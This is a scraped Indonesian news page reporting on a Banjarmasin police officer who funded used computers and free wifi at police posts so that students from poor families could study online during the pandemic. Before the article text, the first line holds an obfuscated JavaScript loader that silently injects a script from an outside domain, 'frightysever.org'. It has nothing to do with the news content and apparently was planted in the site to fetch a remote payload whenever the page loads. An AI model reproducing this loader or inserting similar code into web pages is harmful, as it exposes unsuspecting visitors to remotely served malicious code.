(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Bagi siswa yang berlatar belakang keluarga mampu, kebijakan belajar dari rumah berbasis online bukan masalah. Namun bagi siswa yang berasal dari kalangan keluarga tidak mampu, ini jadi masalah tersendiri.
Jangankan untuk memiliki koneksi internet, sebagian bahkan tak memiliki fasilitas lain yang mendukung progam pengganti belajar tatap muka tersebut.
Prihatin dengan kondisi tersebut, seorang anggota Polda Kalsel yang bertugas di Polresta Banjarmasin, Kompol Wahyu Hidayat merasa terpanggil untuk membantu problem yang dihadapi oleh para pelajar tersebut. Berbekal uang yang disisihkan dari gaji sebagai polisi, pria yang saat ini menjabat sebagai Kasat Res Narkoba Polresta Banjarmasin tersebut membeli 8 unit komputer bekas warnet. kemudian direkondisi untuk dapat digunakan dengan layak oleh para pelajar dalam proses belajar online.
Setelah berkoordinasi dengan rekan sesama polisi, akhirnya ia mendapatkan izin untuk ‘menyulap’ lantai 2 Posko Polisi Sudimampir dijadikan ruang belajar, selain dilengkapi 8 komputer yang telah dibelinya, ia juga menambahkan fasilitas wifi gratis sebagai penunjang.
“Saya harap anak-anak para pedagang dan buruh kupas bawang yang ada di pasar Sudimampir dapat memanfaatkan fasilitas ini sehingga dapat meringankan beban orang tua mereka,” ujar Wahyu Hidayat.
Perangkat komputer tersebut nantinya juga dijadikan sarana belajar dan pengenalan teknologi bagi mereka yang belum menguasai komputer.
Selain memanfaatkan Posko Polisi Pasar Sudimampir, Kompol Wahyu Hidayat juga membuat 2 tempat lain yang dapat digunakan oleh para pelajar untuk mengikuti proses belajar online, yaitu di Pos BPK Manggis Raya dan disamping Pos Lantas Jembatan Merdeka. Bedanya di tempat tersebut tidak dilengkapi komputer dan hanya diberi fasilitas wifi gratis.
Ditambahkan Kompol Wahyu Hidayat, di tempat yang dinamainya Pos Kepolisian Online Gratis (Poskotis) tersebut nantinya juga akan dijadikan tempat sosialisasi bahaya narkoba kepada kalangan pelajar. Karena menurutnya kalangan pelajar menjadi kelompok yang rentan terhadap bahaya penyalahgunaan narkoba dan lem fox.
“Kita nanti juga akan bagikan buku pendidikan budi pekerti dan pengenalan dasar Polri secara gratis,” imbuhnya.
Tujuan pembagian buku tersebut ujarnya ialah agar para pelajar bisa membangun karakter moral dan akhlak yang baik sebagai bekal menempuh masa depannya, serta dapat mengenal lebih dekat tugas-tugas kepolisian.
“Karena ini masa pendemi corona, kita juga akan bagikan masker gratis kepada mereka. Dan meminta para pelajar yang ingin memanfaatkan fasilitas tersebut untuk mencuci tangan ditempat yang telah disediakan sebelumnya,” pungkasnya. (kanalkalimantan.com/rls)
KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi meninjau kondisi Jembatan Pulau Telo… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More
This website uses cookies.